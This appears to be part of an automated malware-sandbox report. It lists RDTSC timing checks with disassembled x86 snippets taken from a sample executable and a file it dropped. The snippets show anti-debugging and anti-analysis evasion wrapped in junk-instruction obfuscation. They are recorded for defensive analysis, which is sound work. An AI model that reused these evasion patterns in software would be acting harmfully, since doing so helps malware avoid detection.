Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1371A57 second address: 1371A5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1371A5B second address: 1371A6C instructions: 0x00000000 rdtsc 0x00000002 je 00007F49C1023916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1374756 second address: 137475A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137475A second address: 1374776 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F49C1023916h 0x00000008 jmp 00007F49C102391Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1374776 second address: 13747A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F49C1336BC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F49C1336BC0h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13747A3 second address: 13747AD instructions: 0x00000000 rdtsc 0x00000002 jns 00007F49C1023916h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13742AE second address: 13742C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F49C1336BB6h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F49C1336BB6h 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D502C2 second address: 4D502C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D502C8 second address: 4D502DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1336BBAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D502DD second address: 4D502E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D502E1 second address: 4D502E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50369 second address: 4D503EC instructions: 0x00000000 rdtsc 0x00000002 movsx ebx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 mov si, 745Bh 0x0000000c call 00007F49C1023920h 0x00000011 pop ecx 0x00000012 popad 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F49C1023927h 0x0000001d xor cx, BD6Eh 0x00000022 jmp 00007F49C1023929h 0x00000027 popfd 0x00000028 call 00007F49C1023920h 0x0000002d pushad 0x0000002e popad 0x0000002f pop ecx 0x00000030 popad 0x00000031 pop ebp 0x00000032 pushad 0x00000033 call 00007F49C102391Dh 0x00000038 mov ch, 7Ch 0x0000003a pop edi 0x0000003b push eax 0x0000003c push edx 0x0000003d push ecx 0x0000003e pop ebx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1297EED second address: 1297EF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D505B8 second address: 4D505C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F49C102391Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D505C8 second address: 4D505E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov al, byte ptr [edx] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F49C1336BC3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D505E8 second address: 4D505FE instructions: 0x00000000 rdtsc 0x00000002 mov ebx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov cl, A8h 0x00000008 popad 0x00000009 inc edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F49C102391Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D505FE second address: 4D505E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F49C1336BC1h 0x00000009 adc ecx, 65B12246h 0x0000000f jmp 00007F49C1336BC1h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F49C1336BC0h 0x0000001b xor si, C6E8h 0x00000020 jmp 00007F49C1336BBBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 test al, al 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F49C1336BC4h 0x00000032 or cx, D948h 0x00000037 jmp 00007F49C1336BBBh 0x0000003c popfd 0x0000003d mov ch, C8h 0x0000003f popad 0x00000040 jne 00007F49C1336B04h 0x00000046 mov al, byte ptr [edx] 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F49C1336BC3h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50688 second address: 4D5068C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5068C second address: 4D506A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1336BC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D506A8 second address: 4D506AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D506AE second address: 4D506B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D506B2 second address: 4D506FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub edx, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov edx, 7ABAA7C6h 0x00000012 pushfd 0x00000013 jmp 00007F49C1023927h 0x00000018 xor ax, F64Eh 0x0000001d jmp 00007F49C1023929h 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D506FC second address: 4D50702 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50702 second address: 4D50706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50706 second address: 4D50754 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1336BC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edi, dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F49C1336BBBh 0x00000017 adc eax, 4B04A10Eh 0x0000001d jmp 00007F49C1336BC9h 0x00000022 popfd 0x00000023 push ecx 0x00000024 pop edi 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50754 second address: 4D5075A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5075A second address: 4D507A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1336BBFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b dec edi 0x0000000c jmp 00007F49C1336BC6h 0x00000011 lea ebx, dword ptr [edi+01h] 0x00000014 jmp 00007F49C1336BC0h 0x00000019 mov al, byte ptr [edi+01h] 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D507A2 second address: 4D507A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D507A6 second address: 4D507AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D507AA second address: 4D507B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D507B0 second address: 4D507E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1336BC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edi 0x0000000a jmp 00007F49C1336BC0h 0x0000000f test al, al 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D507E1 second address: 4D507E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D507E5 second address: 4D507E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D507E9 second address: 4D507EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50917 second address: 4D50929 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 21496316h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50929 second address: 4D5092F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50ABE second address: 4D50B36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1336BC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F49C1336BC1h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 mov bx, ax 0x00000014 pushad 0x00000015 mov bh, cl 0x00000017 pushfd 0x00000018 jmp 00007F49C1336BBBh 0x0000001d or cx, 8CCEh 0x00000022 jmp 00007F49C1336BC9h 0x00000027 popfd 0x00000028 popad 0x00000029 popad 0x0000002a mov ebp, esp 0x0000002c jmp 00007F49C1336BBEh 0x00000031 pop ebp 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 87D569 second address: 87D571 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 87D7F0 second address: 87D7FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 87D7FB second address: 87D7FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 87DAD0 second address: 87DAD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 87DAD6 second address: 87DADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 87DC6A second address: 87DC70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 87DC70 second address: 87DC78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 87DC78 second address: 87DC86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F49C1336BB6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8818E7 second address: 8818FA instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F49C1023916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jng 00007F49C1023916h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8818FA second address: 881923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007F49C1336BBCh 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007F49C1336BBBh 0x00000019 push esi 0x0000001a pop esi 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8819D5 second address: 881A21 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F49C1023925h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 688725F3h 0x00000012 or edi, 36304D82h 0x00000018 push 00000003h 0x0000001a mov dx, 7200h 0x0000001e push 00000000h 0x00000020 mov esi, 5B0D83EAh 0x00000025 push 00000003h 0x00000027 mov dword ptr [ebp+122D26F2h], esi 0x0000002d push D76DE7C9h 0x00000032 push ecx 0x00000033 pushad 0x00000034 jno 00007F49C1023916h 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 881A21 second address: 881A7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 xor dword ptr [esp], 176DE7C9h 0x0000000d lea ebx, dword ptr [ebp+124667D9h] 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007F49C1336BB8h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d or edi, dword ptr [ebp+122D2900h] 0x00000033 jmp 00007F49C1336BC8h 0x00000038 xchg eax, ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 881A7C second address: 881A81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 881A81 second address: 881A9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F49C1336BBCh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 881DB7 second address: 881E04 instructions: 0x00000000 rdtsc 0x00000002 je 00007F49C1023916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F49C1023924h 0x0000000f popad 0x00000010 push eax 0x00000011 jnc 00007F49C102392Fh 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b push eax 0x0000001c push edx 0x0000001d jnc 00007F49C1023918h 0x00000023 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 881E04 second address: 881E95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F49C1336BBAh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f push ebx 0x00000010 jl 00007F49C1336BBCh 0x00000016 jno 00007F49C1336BB6h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push edi 0x00000022 jmp 00007F49C1336BC3h 0x00000027 pop edi 0x00000028 pop eax 0x00000029 push 00000000h 0x0000002b push eax 0x0000002c call 00007F49C1336BB8h 0x00000031 pop eax 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 add dword ptr [esp+04h], 0000001Bh 0x0000003e inc eax 0x0000003f push eax 0x00000040 ret 0x00000041 pop eax 0x00000042 ret 0x00000043 adc di, 8355h 0x00000048 lea ebx, dword ptr [ebp+124667EDh] 0x0000004e jmp 00007F49C1336BC8h 0x00000053 mov di, EC16h 0x00000057 xchg eax, ebx 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c jnc 00007F49C1336BB6h 0x00000062 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 881E95 second address: 881E9B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 892805 second address: 892820 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jg 00007F49C1336BB6h 0x00000014 jnc 00007F49C1336BB6h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 861537 second address: 86153B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 86153B second address: 861543 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 861543 second address: 861557 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F49C102391Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A090C second address: 8A0910 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A0910 second address: 8A0914 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A0914 second address: 8A0932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F49C1336BBCh 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F49C1336BB6h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A117A second address: 8A1180 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A12CB second address: 8A1305 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1336BBDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c jmp 00007F49C1336BBBh 0x00000011 pop eax 0x00000012 push esi 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 jmp 00007F49C1336BC6h 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A1426 second address: 8A142A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A142A second address: 8A1436 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F49C1336BB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A1436 second address: 8A1469 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1023928h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F49C1023924h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A1469 second address: 8A146D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A146D second address: 8A147D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F49C1023916h 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A15B7 second address: 8A15BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A15BB second address: 8A15F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F49C1023921h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jbe 00007F49C1023916h 0x00000012 jmp 00007F49C102391Eh 0x00000017 popad 0x00000018 pop edx 0x00000019 pushad 0x0000001a jc 00007F49C102391Ah 0x00000020 push esi 0x00000021 pop esi 0x00000022 pushad 0x00000023 popad 0x00000024 push edi 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A1F13 second address: 8A1F19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A1F19 second address: 8A1F22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A20AD second address: 8A20C7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F49C1336BB6h 0x00000008 jmp 00007F49C1336BC0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A23C5 second address: 8A23D8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F49C102391Eh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jg 00007F49C1023916h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 86EE61 second address: 86EE67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A9864 second address: 8A986A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A986A second address: 8A986E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A986E second address: 8A987F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A987F second address: 8A989D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F49C1336BC9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A989D second address: 8A98C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F49C1023929h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	RDTSC instruction interceptor: First address: 8A98C6 second address: 8A98CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
